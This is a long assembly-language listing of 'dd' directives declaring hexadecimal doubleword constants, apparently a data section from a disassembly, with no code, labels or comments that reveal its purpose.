dd 2CB43DA8h, 0AE3A0457h, 0CB3B7D72h, 8ABC77B0h, 0BDCE15Dh
dd 127E9C43h, 0E536E953h, 2A9D3F27h, 80D8C2Eh, 5BD71144h
dd 0DD56A99Eh, 1CAA0E12h, 9351E7BFh, 546D531Fh, 31FF624Ah
dd 8468541h, 0D8204E3Ch, 0ECD6A32h, 0AF302570h, 94C54F63h
dd 0F956AA11h, 625855ACh, 0C0320709h, 5342917Dh, 0C688992Fh
dd 429D6CC6h, 9ABB5D37h, 9DEB881Ch, 6C867127h, 0C64BBB82h
dd 0A64875A2h, 31B2A888h, 48C55DEEh, 9FC6B38Fh, 0A28B9063h
dd 0BD802282h, 9D5A268Ch, 6F742784h, 41C07312h, 1AC5E349h
dd 42AF3B80h, 147408B2h, 16D91355h, 0E6A03D28h, 14033E73h
dd 875D0FEBh, 13D1D83Bh, 99556468h, 66279CAAh, 2D4A1F43h
dd 88F28841h, 68B0FFAh, 458CA1Ch, 0DB84B30Bh, 5D5BA09Ch
dd 17BFBCE7h, 0C604B396h, 0D1AB3202h, 50D1E84Fh, 0C38A59FEh
dd 0A8C6ABB9h, 0AB51B589h, 0FC58D631h, 0C84F82Dh, 9CFE619Dh
dd 28971759h, 5BDEB384h, 111B4DC3h, 4AFD5C26h, 46A06361h
dd 1E5CD408h, 0B5D4DF0Fh, 6A347E2Eh, 0D984CDF6h, 6E419DEBh
dd 8A8662CCh, 3B056A2Bh, 26BBE79Ch, 52497B75h, 9C812D10h
dd 0D6A07FF1h, 0A877EB82h, 110E911h, 209C6A84h, 93571CEBh
dd 0DC6809DFh, 0B154C319h, 3D770C2Dh, 7D5F7352h, 4238BECh
dd 9C4E8A02h, 18F7C98Bh, 8C46BC8Bh, 5C77A722h, 0C54493BBh
dd 0B3669518h, 28A3084Fh, 0BD168A1Ch, 0C30C25Eh, 2DEF0455h
dd 48282A0Fh, 4119EC18h, 64D1743Ah, 863F2019h, 231E0A98h
dd 0FA821775h, 2057C30h, 1E2C7E39h, 46400424h, 83B0C7EBh
dd 38EB1E55h, 8D17620Fh, 7DC25678h, 723D4AAAh, 0E77509A0h
dd 4560638h, 9232EC8Fh, 28686611h, 0C406953h, 75AECE0Eh
dd 0BA28DB9Bh, 6745694Ch, 0EE4F26Bh, 8CCA3A5Eh, 0DD412436h
dd 7E5A46C3h, 617A0A0Ah, 0F7A0E40h, 0D98A097Fh, 3A20F381h
dd 0FA8852DAh, 0F922AC13h, 0A827AC13h, 8A7CA8C4h, 0AB5B4487h
dd 16A7920h, 58C90185h, 0C83B0C74h, 0AF0FEC7Ch, 490499A0h
dd 329559B8h, 26AD5083h, 4061F0BEh, 0DB33E87Dh, 2C66A539h
dd 71A758A4h, 3E808BC1h, 8A11C200h, 78C20146h, 0D75B783Ch
dd 0EB58D607h, 0E23CFFF6h, 7F9AD6CEh, 0DF4FED66h, 754E5086h
dd 2B750908h, 88504FFBh, 25A80F48h, 41CCD030h, 0E6FB219Dh
dd 7CF4D868h, 39120D62h, 0F504F57Fh, 32B5A4D0h, 30DD1AD0h
dd 7F660A52h, 558A154Dh, 0A14AFCE8h, 0B1B53A3Ah, 2BD3FFD3h
dd 0C27825D8h, 4077F562h, 0C50B0421h, 0F8518A59h, 0EA9850BBh
dd 0E80A68B4h, 0B2A0D43Fh, 0F00128C9h, 0CFC8D863h, 54944F59h
dd 8E7C993Ah, 0F63EF816h, 2BA84B45h, 59E4B882h, 9ABD5F68h
dd 36241ABBh, 26365827h, 68172BBAh, 0ABF327ABh, 0FC9A1789h
dd 3219C473h, 45C89108h, 0BF9EC53Eh, 67289B5Bh, 0C81D34D3h
dd 0FF530644h, 693DB54Eh, 2032594Fh, 0A974894h, 64104646h
dd 7CE90D8Eh, 3E910A12h, 12753B14h, 4CFF468Bh, 0D4402A4Fh
dd 9CD48184h, 50C00998h, 10B9CF61h, 68760CA0h, 830C53D2h
dd 8B09731Ch, 1D9C3816h, 76063AADh, 8AE5EB04h, 0C93208E1h
dd 59D2207Ch, 78AE12B5h, 8B215C36h, 50ACF0C8h, 6BB48E9Ch
dd 20962126h, 0E9144EE4h, 3D7F07F3h, 0CA17C4D8h, 0CD9B088Eh
dd 28B4A6A1h, 0E0E91031h, 21CC1F52h, 3FC8850Fh, 0DC516BB3h
dd 29BDE16Eh, 114073F8h, 99009E68h, 11FCA550h, 843A0AE8h
dd 0FA0C6164h, 12B63F98h
dd 3FE0073h, 0BC8D367Eh, 2FC61D35h, 9895C868h, 9B9E2F76h
dd 1E14E6F3h, 1F88862Eh, 0DCC42960h, 4BBE443Ch, 61DD2E59h
dd 99046AC6h, 0F6F9F7E4h, 0C82B1DCEh, 1A6BA881h, 0ED4D870Fh
dd 72D02812h, 0D2B6F29h, 8B518E64h, 85DDA02Ah, 28D08B92h
dd 16C8ED56h, 0F3A4688Ah, 98CA104Eh, 229264D4h, 0C461175h
dd 301041EFh, 32CC3D08h, 0C44013E6h, 0FF294680h, 6D844E8Ch
dd 944921D6h, 0CA9D2127h, 5F859AC8h, 9838FFF7h, 8A1042B5h
dd 89422850h, 8B1A4727h, 0B6792B5Ch, 0CD89ABA3h, 0C80CFC2Ah
dd 359C62FEh, 786825A2h, 6629E90h, 7511F984h, 22882514h
dd 0CD20842Ch, 10168E91h, 478A5808h, 0CBF20C45h, 0FB863733h
dd 8579D34Dh, 0BE0C6A06h, 6BF1B1Ch, 9F4BA095h, 56ADF02h
dd 112954C2h, 6F1C9C8Dh, 0C45E85E3h, 2074C0A6h, 104845C7h
dd 0E8A481D8h, 51C3386Dh, 347BDF3Fh, 532323BBh, 8B65ABEDh
dd 15D0BAECh, 63835089h, 5B4F07E8h, 9137C222h, 0FCD21036h
dd 53EDCE09h, 86EA62Fh, 0C3E72017h, 74742740h, 37D52D1Dh
dd 9320D724h, 149E8C4Ah, 11282089h, 1D8C7EE9h, 593BB8E8h
dd 6A0514AEh, 4DE4BE07h, 1BD8BD32h, 5008B440h, 40CAA3A1h
dd 0B95D8827h, 1808B4A0h, 0C4D23388h, 0CD0E1C12h, 0AF9CDF95h
dd 0BD8031C4h, 0C00C05B4h, 5F186A55h, 601B60Fh, 8B57C803h
dd 0A22099C1h, 0FA4F588h, 4D84BC44h, 0BBD6791Ch, 15843245h
dd 0D01E4F1Bh, 140D4488h, 5EBA79A0h, 0BB34E8C6h, 0AC7D26A2h
dd 58DDC4D7h, 0C68F7956h, 8C2DD787h, 91EBD10Ah, 0C53ECB08h
dd 9638E88Ah, 0CA545F7h, 2A64C61Eh, 8AA0EA9h, 0C1C81CCh
dd 0D24084AFh, 0B442860Eh, 15E1D820h, 1A40EF0Bh, 84F17CC1h
dd 88047DE9h, 0E6A8D4B0h, 88904875h, 194B8C0h, 48835D38h
dd 4CB1D474h, 63E0645Fh, 2C29DBABh, 74811491h, 632DE80Ah
dd 7A4D2D91h, 0D15F2C2Dh, 1E176536h, 500D9416h, 4523C421h
dd 91826988h, 0B832641Eh, 84190E52h, 0BE080F11h, 7D84B094h
dd 8B16D0C0h, 39F2015h, 698CBE50h, 0B7F2225h, 8AB587B9h
dd 80BF06CFh, 0A3A2521h, 9B822FF0h, 51B3CD8h, 142170BFh
dd 5F50BE12h, 0A218EE7Eh, 3097C42Eh, 0A1A0363Bh, 9DC49FD0h
dd 4BEE2556h, 716157ACh, 0A358C305h, 0A787D0B6h, 2F0A1647h
dd 135D342h, 4809B4E9h, 0A28A1090h, 0E51476EEh, 0BE10126Fh
dd 50895B29h, 0D1A2C4ADh, 0F5130233h, 0A91C280Bh, 398BD474h
dd 5453C0BFh, 0BA18404Dh, 3449991h, 4CF82F84h, 8C2B87A4h
dd 0CA9EC01h, 8ADC0C1Fh, 7342D3C5h, 480D25A7h, 758CD037h
dd 53FFB71Ah, 29842270h, 7DEB4A9Fh, 4522C095h, 181F1999h
dd 0C844C09Fh, 53C7A6FBh, 0F6A144B0h, 0A79D528Fh, 22A044A4h
dd 0E461EA2Bh, 909B80DAh, 6CF5820Ch, 8F1C2A35h, 0BE61992Fh
dd 0E91B0FB1h, 905552A6h, 40C1011h, 6201E83Fh, 110C5A31h
dd 0F16F0984h, 4A1A092Ah, 9386195Eh, 6C523B43h, 65F1278h
dd 4216DEB0h, 0B109486Ch, 4995F04Eh, 64214515h, 9AF80F12h
dd 1954589Dh, 150F4E9h, 56844817h, 49855A17h, 0A5C64475h
dd 463C220Bh, 0CA85457h, 9C438630h, 90902421h, 787314CAh
dd 7BC8763Ch, 12116EA2h, 3284475h, 3A266274h, 54538F7Eh
dd 5D0B820Bh, 89115B2h, 0E84934E0h, 34D7C920h, 0FF256CE9h
dd 1446D334h, 439992ABh, 4BF0111Ch, 7E382326h, 10797225h
dd 0AB2CE954h, 952FC2Bh, 0DF4FA1F3h, 3139101Bh, 0D1A55F54h
dd 5D1091E0h, 0FB7F4A4Eh, 0AF68A8Ch, 43E86387h, 57502914h
dd 2295160Ah, 0D7D948F9h, 0A3914657h, 143166C5h, 0D32A36B4h
dd 9894F84Bh, 99E61C3Ah, 32278A91h, 2828BC7Dh, 0BFD82553h
dd 1C81C8F0h, 240909A6h, 50454695h, 754F0C0Fh, 4D02D8DEh
dd 998C32Bh, 0EBA9B862h, 0ACAD8474h, 8B537541h, 47A9487Dh
dd 0A672186h, 691B60Ah, 6C4DD6C9h, 56884F30h, 9E7750FFh
dd 9D21952Bh, 0D2301C88h, 682914CEh, 918DA090h, 8AD94113h
dd 57E96589h, 8050E764h, 8B51305Bh, 5822BD0h, 6BF94C1Eh
dd 3E16266Ch, 95136129h, 9F7E986h, 0DA1F8B71h, 0C8D3788Bh
dd 0D476070h, 10A924A8h, 0D6E913EBh, 4B549C31h, 0FEE1962Dh
dd 0A58012ACh, 3172441Ch, 0CA511C6h, 59938438h, 21C6F2E3h
dd 28954C3Fh, 6636E150h, 0A430B952h, 1D221C1Ch, 0EC8A1004h
dd 4EC6E952h, 0D77C83F1h, 4B102C84h, 0CF225CE5h, 1B286BF3h
dd 131F4028h, 0F04C611Bh, 1382114Ah, 8083F47Ch, 0CE3836EEh
dd 0E41142B7h, 1F46264Ah, 1327ECACh, 0BFAF2D00h, 0C97765EAh
dd 8B03901Bh, 5979B652h, 0B4D35AF7h, 0A0E8B156h, 18940DBAh
dd 0C24B4790h, 5584D89Ch, 999C5A2Dh, 4E42CC36h, 0A145161Dh
dd 648285B4h, 0CC9EC240h, 2509C005h, 22931B16h, 79A07E46h
dd 25894AB8h, 42AC11FEh, 6039291Eh, 0D25E808h, 0B017CE90h
dd 254E6428h, 0C4B0A850h, 48D42E9h, 273184EEh, 1132BB57h
dd 71748A2Dh, 5240BC39h, 691F2282h, 0ED528450h, 9AD8E927h
dd 232F34F8h, 0F04707FEh, 106762E8h, 9032A924h, 22551411h
dd 0A0CEC28Ch, 0AB95E922h, 4222EC1Ch, 0F7074B9Ah, 0ACD22B39h
dd 1680B828h, 7C690577h, 34E20E0Fh, 0FD8F84D9h, 0DF17A81Eh
dd 0EE93D2B4h, 40593C31h, 2E41A3C9h, 4A527EE9h, 3EC71258h
dd 0A964443Ch, 1A084C19h, 0B2F6709Dh, 24536B69h, 4468FE38h
dd 0F4F557A0h, 38113091h, 8856386Fh, 0CA92C36h, 86240CF3h
dd 1822E743h, 0BE4D7532h, 0F6CEF79Ch, 4F6FE5B7h, 2D1EE9DFh
dd 1A544156h, 87DC860Fh, 228DC67Fh, 53461144h, 220CAA64h
dd 69A94E26h, 75C14BB7h, 0DC7E8B50h, 485E1C49h, 0CF8E4803h
dd 49CC84D0h, 5E80A43h, 8A9DD2C4h, 0B2C49599h, 0A4317225h
dd 2532B80Ch, 0CA14B019h, 0A388634h, 1F185493h, 0DD2BA8A4h
dd 94548405h, 4286D10Ch, 5385388Ch, 5E3912DDh, 0F84F38ACh
dd 82744892h, 881C458Dh, 0A720B5ECh, 66AD719Dh, 0C0C94B54h
dd 0A728551Ch, 0BF840EE0h, 844EBD16h, 688026Ah, 0A2F64B1Ch
dd 0D220C8B8h, 9823A07h, 4482EB0h, 268858B7h, 89E92A75h
dd 0EC251838h, 1AF42788h, 851123Ah, 2786401h, 741ABD0Fh
dd 64C26164h, 95187517h, 1440112Fh, 0A218CFEBh, 51521095h
dd 68C3EC9Ch, 9029620Ch, 14100EBAh, 24F99B57h, 0E1BF688Eh
dd 9FFF4685h, 0D9A57503h, 2FE98853h, 497404A5h, 8157E49h
dd 75E32011h, 7BE56AFBh, 0F9AC6FF1h, 5A49244Dh, 1E38E851h
dd 0A40DC765h, 6AE3415h, 0E748E427h, 42FA0F59h, 68BB6224h
dd 9E1382C8h, 7B9A64FAh, 2B8589B8h, 116270A5h, 46790CAh
dd 0AD8BDFE8h, 0CE0A2CDAh, 4808604h, 0CD3476B3h, 688E0225h
dd 45AB48B0h, 8808FADCh, 45746A8Eh, 3412089h, 48068AC7h
dd 0F04D88F7h, 0F1F8400Ch, 0F2645DF2h, 0F30CF912h, 0F481FA0Ch
dd 20F51E90h, 0FDF640FCh, 0F802F781h, 0F90FFE04h, 0F2FF40E7h
dd 0FB8FFA45h, 0FB26502Ch, 8B55E827h, 0F2A96309h, 4A8385F6h
dd 4F30B32h, 1178773Fh, 4C749734h, 5A48B4C2h, 0D3D2554h
dd 0E9134444h, 0AA8C03D3h, 21E3A464h, 5810F9BBh, 0E88AB8C8h
dd 42A7C32Eh, 6AE80283h, 0EAE4FD10h, 1C605DF8h, 1DE823E8h
dd 4361968Bh, 2832C766h, 24094A02h, 6F34122Bh, 6FDD0BBEh
dd 0D64BE474h, 2A253CACh, 0A672E6D4h, 0A946697h, 0A7A1E8EEh
dd 0F012B38Eh, 9A89F9A7h, 8B2EB97Dh, 0C4BB6AFBh, 62FE257Ch
dd 236EC16Bh, 450E7EA0h
dd 400F9120h, 2DB8326h, 8A9FE82Bh, 72CA6AACh, 25EB9B4Dh
dd 4C10F23Dh, 7416277h, 25A3B16Bh, 0F7C40876h, 3821F842h
dd 0C6C2841Ah, 5E0C8941h, 0C28A200Ch, 5000D1D5h, 9A916E6Ch
dd 25C5E98Ah, 21311895h, 0C0C951Ch, 4901021h, 2101F3C4h
dd 0E70847F8h, 75E84486h, 0E0803750h, 5D0A11DFh, 0D2A0E1ABh
dd 6450C396h, 0CE2D843Bh, 0ACA8790Bh, 99619856h, 1C2EE856h
dd 559534AEh, 47D41257h, 0E119288Fh, 0C3C33DEh, 717488CCh
dd 44C010C8h, 0A8B80869h, 2212699h, 0A614797Ch, 819111Bh
dd 2140B12h, 47B468EFh, 8DC56E82h, 0FE94132h, 0CCFEE254h
dd 894E3964h, 47A82621h, 2D7F8E33h, 0B9F68D96h, 0A0D188CEh
dd 0A3E82026h, 463E92Ch, 74C5FCAEh, 68910ABBh, 12AE2835h
dd 5F03EB1Ch, 9BF595FAh, 0DB53BF27h, 0C89CF71Ch, 0BE27F6D0h
dd 0DE13D251h, 0BF4CE2A9h, 0CF8FC13Ch, 0CAADF1F7h, 1975EA3Dh
dd 2793F8DDh, 0E271F8CEh, 39B649E4h, 6182E064h, 18E8E95Dh
dd 599EB7DFh, 7EA1946Dh, 73181B30h, 43FEB229h, 1032C2BDh
dd 44F4F613h, 0F9254321h, 5589606Dh, 0D82D8B1Ch, 6004258h
dd 65A94D9Ah, 1D082010h, 1840600Bh, 2EB8414h, 931B75E4h
dd 51F81227h, 0BFF9B492h, 5A559156h, 0DFF3966Eh, 9D561027h
dd 10571843h, 1056E408h, 200951F8h, 48183468h, 4B840A18h
dd 5F3CA838h, 49B39B2Ch, 9C29A0DAh, 0D5F76211h, 68438B24h
dd 6A758FD0h, 7550AE4Ah, 1055DF1Dh, 9D11047h, 6AEB1480h
dd 4649F868h, 0AD2138Ah, 0F97639AFh, 1ACD380Bh, 535B80E9h
dd 0F9A7671Dh, 379604DEh, 0D63827BEh, 2BF865A0h, 317C23BCh
dd 0D883656Ah, 0E8190AF4h, 6F595BDBh, 886E028Dh, 0F95080B5h
dd 847E07F5h, 9FAE64B7h, 5418EECh, 5A279920h, 848CA603h
dd 23638731h, 78C1115Ah, 123B50BEh, 5B00E678h, 0D0920B05h
dd 7481DBADh, 0B3388043h, 18F899A0h, 75FE793Bh, 55DA3068h
dd 50A0748Dh, 86D044E8h, 4018D811h, 624FAA14h, 6F8557CEh
dd 2445424Dh, 317FB9EBh, 0C57A5D4Fh, 5E0DA8E5h, 0D4B299E8h
dd 0A6105355h, 43114529h, 283E80A1h, 13F8CFCFh, 0B8696846h
dd 0E29202CFh, 0C8C55D86h, 5BEF4433h, 12E2F8DFh, 25BF0148h
dd 0A6C4AFC3h, 971A11FEh, 0B4882C22h, 4282CB51h, 7F0F1239h
dd 0CC556A22h, 8068B08h, 8693B4BBh, 0B8534026h, 73B6CF5Fh
dd 50939E64h, 4D8DA0DEh, 85164ACh, 5CC4FECh, 3202A468h
dd 468661E8h, 0B42BE7C7h, 92B77563h, 1A225C9Eh, 437C2B46h
dd 16ACB23Dh, 0FAA9293Bh, 8EB6AE75h, 5B2015CAh, 34628CA2h
dd 6DCE8A29h, 18B28429h, 29529C95h, 758F1811h, 0DB996513h
dd 0C93B0D89h, 0E9E72039h, 21278953h, 0E3EA9F90h, 90BF0789h
dd 0A170EB5Eh, 0CF0C881Bh, 5298BD85h, 53EB84D8h, 0C7C1BA1h
dd 0F80887B4h, 883890D3h, 38996470h, 1DA3443Ch, 7E0CE384h
dd 46899D8Eh, 0A444A490h, 8ADF0F82h, 0AC51D2F6h, 8947571Ch
dd 3FE2AC88h, 0C7211689h, 1CAC71DAh, 0BE908518h, 0FD39ACA2h
dd 802316DEh, 0CAAC11D7h, 26511BE2h, 8EACD25Ch, 851BC752h
dd 0D262A26Ah, 88C23BACh, 22C2E914h, 4829A372h, 0AB646871h
dd 8174D41Fh, 94FE3B75h, 0D9A79D46h, 710C6038h, 8184088Dh
dd 55325CE4h, 76044014h, 58186950h, 0C43D4386h, 88215172h
dd 87250849h, 45397388h, 0D304854h, 80217778h, 53595008h
dd 0CD22102Bh, 65E90C82h, 0FC4F19E6h, 0AD2F7AC3h, 0BD0211C8h
dd 564EDD6Ch, 100D83F9h, 2A2BC6E8h, 1A85ED0Ch, 85D0B149h
dd 0E9835FE8h, 5038CB41h, 4F73BFC6h, 0F5C84789h, 0F8184391h
dd 10BD8486h, 0A0B3F13Dh, 1757145Eh, 0BA4FBC68h, 228D8F62h
dd 16ACDBB7h, 0A112C3C0h, 97B89D44h, 0C805ED5Eh, 0B8BF0608h
dd 7425229Ah, 20777A3Dh, 0E8139C38h, 0F9E482ECh, 9404BD0Ch
dd 0F0E71D05h, 93D8636Bh, 6D0538BBh, 82D0E853h, 5A2B1E8h
dd 0FF5CEB22h, 55EEC964h, 39F63309h, 149ADA1Dh, 7B80D74h
dd 46F0B04Bh, 75183901h, 2268E8F8h, 0F7F6403Eh, 52348DF6h
dd 0FF82E0BDh, 111DA2B6h, 20168666h, 5B0C2445h, 0B68B8875h
dd 7A3E2851h, 92895E2h, 0DA96989Ah, 3110D629h, 36832345h
dd 300D3F4Ch, 0F3BD397Ch, 0F2DC2FD3h, 0B38838E5h, 0FDC82585h
dd 0E022BFC6h, 600ECFFEh, 0D5E809D1h, 806E18B7h, 80E7A43Dh
dd 0A2BE20A1h, 2F6CC008h, 1D838A23h, 0B725501Ch, 0C9342E1Dh
dd 0A2EF71E4h, 740AA0CBh, 0EDDBB57Dh, 9F4F0E94h, 50110E68h
dd 0BA960CEBh, 81C2DB61h, 0A3EE5006h, 0E11A58Ah, 6CB18164h
dd 0F4FB2A0Dh, 22F1FF27h, 12595298h, 21A1A777h, 868C207h
dd 4938A90h, 0A2894695h, 0CB934078h, 8B118201h, 0A1C7911Fh
dd 59FB15Bh, 0C551B808h, 7406046Ah, 0F849A7E9h, 8DD7583Ah
dd 0AAC284F5h, 730CF000h, 4F1AE83Ah, 75F8F4BAh, 84083149h
dd 23B94468h, 8810E815h, 2D851952h, 70C2822h, 2432055Ah
dd 33508232h, 974C52B9h, 0CBC46F82h, 68D44389h, 4681D30h
dd 9194B950h, 0FAA27180h, 0E4F7A36Ah, 0C13B16F9h, 0B4960F76h
dd 4F9F5CD1h, 0FA53A90Ch, 5A65EC08h, 3864A6CFh, 0FE6B69BBh
dd 4FFC0B55h, 0F8596154h, 6A571984h, 4622EE24h, 85C72150h
dd 818E6F4Ch, 1F208D7Ch, 0C5F0524h, 25541432h, 7484EC01h
dd 5A755E73h, 0EAE8410Bh, 897E641Fh, 210DDE0Ch, 0FF7EFA31h
dd 0E0834803h, 2D679F2Fh, 0CBAFBEA7h, 62807453h, 0C46B5D6Ah
dd 0E6E5BABh, 0A71B25Ah, 2A084FE0h, 24F28052h, 0D0085C34h
dd 745B828Eh, 455EBE3Bh, 480E6894h, 7FE9130Bh, 210C1121h
dd 5046880Dh, 1974898Fh, 68144C79h, 0C738650Dh, 20EA2244h
dd 61467535h, 2202D09Ah, 0DDB0D457h, 0F67F9C09h, 12FD69E1h
dd 56DB646Dh, 0E80C041Ch, 354FFC76h, 993D91B1h, 0BF14A82Eh
dd 0BD2FE932h, 8F663DDEh, 1ABE58B7h, 1584CC99h, 603AC9EFh
dd 15B2013Dh, 0A5C7984Eh, 354DA365h, 40943531h, 30CE862Bh
dd 38143D6Ah, 0D4E7512h, 2102505Ah, 84B32B00h, 82465525h
dd 80FD810Fh, 7D0F1CCBh, 5FC50A06h, 3A483045h, 1055A12Ah
dd 1FDCE143h, 8EDD608h, 0A9EB3420h, 9BD8AE3Eh, 0B23FE359h
dd 71D75EFCh, 4C441004h, 7064F67Fh, 4C68F040h, 0D4C41F24h
dd 4D8D007Eh, 95B95110h, 0C840079h, 0C4EEC82Bh, 51200CD2h
dd 81456C38h, 42142D08h, 22B92132h, 7D18C811h, 570D53BBh
dd 0A7491412h, 0C93485C1h, 46DA7228h, 6430887Eh, 0FA116F62h
dd 1E47F280h, 0D7E10B42h, 68880AA6h, 5E9157A5h, 0F67B0998h
dd 218619BEh, 6A61571Bh, 3E0B9220h, 5029468Dh, 25EB8BFCh
dd 10215156h, 15886090h, 130E0314h, 33100775h, 0B1052910h
dd 0AB097EA3h, 993A9B7Dh, 58409FBEh, 5274F88Bh, 0B95A5623h
dd 7503826Eh, 44B9B913h, 5F8EE64Ch, 3F38A37Dh, 0E8B82910h
dd 0BD05C745h, 4D223D84h, 8BE8A212h, 0DA3FABB6h, 5F0237BEh
dd 40716887h, 0AD8C4B0Ch, 7D38080Fh, 857CFC70h, 10A5C862h
dd 10915E18h, 321658E5h, 0D5295F10h, 2F34A8Ch, 7F90E809h
dd 0DD216A3Eh, 2AA1C57Ch, 9A6D215Bh, 0A857B428h, 0A5A49FA1h
dd 3F21F808h, 4ED4B34Bh, 1874CCF0h, 0C1E2E875h, 3B12F08Bh
dd 0AFB889F7h, 3B66587Fh, 6F152845h, 62043E83h, 0C8153A06h
dd 0A7032F5Dh, 68D4D88Bh, 760FACC2h, 0FBC49302h, 8B18FF30h
dd 685572E8h, 30EFEB4Ah, 0C8680150h, 86C40448h, 28C3FC35h
dd 4511D6FFh, 7E8333C9h
dd 0C0441DB2h, 69669753h, 0E190DD90h, 0DEC3592Dh, 55088720h
dd 0DD047B57h, 941A7Bh, 59ED8590h, 5637017Eh, 8D1F048Ah
dd 233CCC34h, 6A06750Eh, 0EB304339h, 0D53FD317h, 1BCCC081h
dd 693AF26Ah, 0E6027726h, 8FE604EBh, 391B4F22h, 47800688h
dd 0CB7CFD3Bh, 0A8D25F5Eh, 0B603A198h, 986069FEh, 5582517Ch
dd 7FF1A302h, 12121C7Bh, 0C574A3E4h, 0D195E82Bh, 576FE9E6h
dd 0F96CF79Eh, 0CC88CA51h, 0CF84E17Fh, 642F9108h, 0B859B5C8h
dd 428E5C08h, 0C5089D9Eh, 468B0501h, 3BBD060Ch, 0BA6B48C7h
dd 3B80FE1Bh, 46B02E64h, 0B55D5468h, 0E72C7D88h, 104508FDh
dd 17F22A0Ch, 204C5468h, 0DD918552h, 6483AC5Ah, 8B40D43Ch
dd 0CF3B144Eh, 0EF4116CCh, 187E3239h, 1C193812h, 8C2C2F02h
dd 24618420h, 22398017h, 621B1291h, 847AA294h, 0B4D42037h
dd 0F913C5AAh, 862C99A8h, 0C1451816h, 9123896Ah, 48517522h
dd 0FEC52688h, 89C6571Fh, 9011C1BDh, 0DA2BD058h, 85C71807h
dd 1855DB3Fh, 0C2B2E873h, 0C8B60F25h, 513BD6F0h, 0E9C1148Bh
dd 0C9547C97h, 0F98B1009h, 55F218E8h, 58682C48h, 0D1EE3A58h
dd 2320363Dh, 0A41C7F0Ch, 1414C979h, 0F7B010F5h, 2819983h
dd 778E930h, 8C40F2A4h, 0E8110C40h, 74817E5Eh, 4C34684Dh
dd 7C47A513h, 2C683A08h, 266238E5h, 12F9C212h, 103F4113h
dd 6EAE892Bh, 0E7A01212h, 610C7240h, 0D3E8C950h, 0A1CE24FAh
dd 0C43D0248h, 41AC2074h, 80287B4h, 8AB1454Ch, 0E95AEE58h
dd 0F0680091h, 0E03ADF32h, 97221AD2h, 79F7E935h, 0DC68C202h
dd 21DE4C50h, 4D447DC0h, 0CF44C95Fh, 1891F6CFh, 0A2B22410h
dd 1A211C44h, 3E433E79h, 840CD237h, 8CBAFD11h, 0E98BECCDh
dd 0F639B13Dh, 0C3CE807Eh, 1047BF85h, 0CCC478D9h, 0FDBE68CBh
dd 0B3F8680Bh, 1EC77008h, 9A03D33Dh, 75EDD7F5h, 22FEB484h
dd 0F63338B0h, 46BFF69Ch, 6949B488h, 101EB8F5h, 0E9E317F5h
dd 0C206AE4h, 1821C442h, 35384464h, 29697843h, 0E90BB065h
dd 7D635A86h, 8894B1D4h, 0DE37C5Dh, 24027E57h, 8885F84Dh
dd 68090172h, 3D8339CCh, 72BF2042h, 272580D6h, 55DFDF57h
dd 0FA943429h, 0AF564625h, 38801182h, 24E3573Ah, 0C4BCBC39h
dd 0B8538428h, 7BFE123Fh, 0D13BC229h, 56216A5Bh, 0C0972EABh
dd 837798BCh, 0E6CD1979h, 12251570h, 0AC680D01h, 82E86D85h
dd 3224BEFAh, 0CD557AE3h, 6CC1326Eh, 0C4B3966h, 80D80AACh
dd 6A0F429h, 46829708h, 18115698h, 3194B412h, 520E74CAh
dd 0E921A050h, 3404FB98h, 0EFCDAA1Fh, 496C76E9h, 7691708Bh
dd 56A85C9Ch, 0A75138Eh, 9BFC8350h, 0DCEBBD05h, 1D329868h
dd 633F1439h, 0F4C84E8Bh, 943BA135h, 21E85610h, 0A398775Ch
dd 0BE2B3820h, 58A54E5Fh, 0ABF56A5h, 0ADE536Ah, 0EF7DBB9Ch
dd 3A97AED9h, 5A895BD9h, 397703F3h, 424566Dh, 1246B776h
dd 2DDDE931h, 764C8C68h, 0B7A47C3h, 0A2463927h, 0A03C18Bh
dd 7AAB627Eh, 5B2615C5h, 4098824Ah, 4027E984h, 885368FFh
dd 78E3153Ah, 11D18E22h, 8A77D24h, 86321047h, 508A217Eh
dd 611E2F01h, 701CD2D9h, 3DFA8010h, 4A467526h, 3AC10213h
dd 6D07057Eh, 999CBD53h, 0D86D0953h, 1AAC0C47h, 0ED0845C6h
dd 58CC6E14h, 8D22A012h, 62FF744h, 0CB75B87Fh, 862EBE2h
dd 0C648023h, 10DC7F48h, 0FF8D0EF3h, 8A15B6BCh, 0BF51E177h
dd 5191A4E6h, 233DB1A8h, 892DF24Eh, 0CB9579FAh, 3244A124h
dd 4975740Ch, 0D5086F7Bh, 0FD444275h, 8402D110h, 57440C79h
dd 5BBE47DEh, 9291D2F5h, 7E507FB1h, 6586A70Ah, 0F05E520Ch
dd 1BD69A43h, 54988585h, 9D794880h, 2F5983A3h, 3FF12AAh
dd 3D28A8A1h, 7D43EC93h, 0D1BE2D91h, 36AC424h, 0D85F4ECBh
dd 9C40EFF1h, 922D7401h, 966BF55h, 0AC4BE9EEh, 387C2049h
dd 85793059h, 0A0023308h, 45753B2Dh, 9740E9D0h, 0EC4FCD5Ah
dd 0BC6166A1h, 3E39AA89h, 743FB8F0h, 27B15B57h, 4FE10FF9h
dd 1E7732BCh, 7690E830h, 0F8F75475h, 7C188009h, 1EC6FF01h
dd 42EC683h, 38F03947h, 0D71A75E0h, 0D7E529EBh, 0EFEBB8E2h
dd 3A7FEB7Fh, 0E1C1CF17h, 31146804h, 0FF645A87h, 0C1035509h
dd 1620110Ch, 20EB2A01h, 0E7C132C5h, 8DE1342Ah, 0C53513Dh
dd 1A515537h, 54870A94h, 0FC750FC6h, 84E408CEh, 7EBB6778h
dd 29AA4D31h, 0FCC81069h, 2C52A45Ah, 0D00E7448h, 0E1432E4h
dd 7DAA8338h, 73F089E8h, 0F8C64A68h, 0FF85603h, 89A5822Ah
dd 384C8A09h, 0D6DF2FFh, 28EB4803h, 98FDF1C8h, 0FE0F2914h
dd 9D22EE2Dh, 701DB4C9h, 0B2A1C97Dh, 62830814h, 0D84F2E8h
dd 40D45C8Fh, 0FBC47384h, 0C374AD92h, 50C7B62Eh, 3D75D2F4h
dd 0FA7329F8h, 90409A07h, 0F04D283Fh, 0CA60CBCFh, 384D0477h
dd 145385FBh, 0A670A11h, 790959F4h, 823DF1D4h, 68E8FC38h
dd 4FD59173h, 0C83872E6h, 6E378940h, 3D0C20B7h, 98C77A03h
dd 98226760h, 0FF08230Fh, 63DDF4F2h, 17C67664h, 32AA7210h
dd 53EB579Ah, 4A7794C1h, 0ECFE40F0h, 7AEB5305h, 0CE09C683h
dd 7A1EA93Eh, 786824AAh, 0C43345C1h, 7424316Ch, 761AA654h
dd 0DED74909h, 3746C641h, 0A772EF2Dh, 77D0048Ah, 0CD3B8B5Ch
dd 111DE136h, 9925FFEDh, 0D31C4C3Ah, 200B8B11h, 0E1830881h
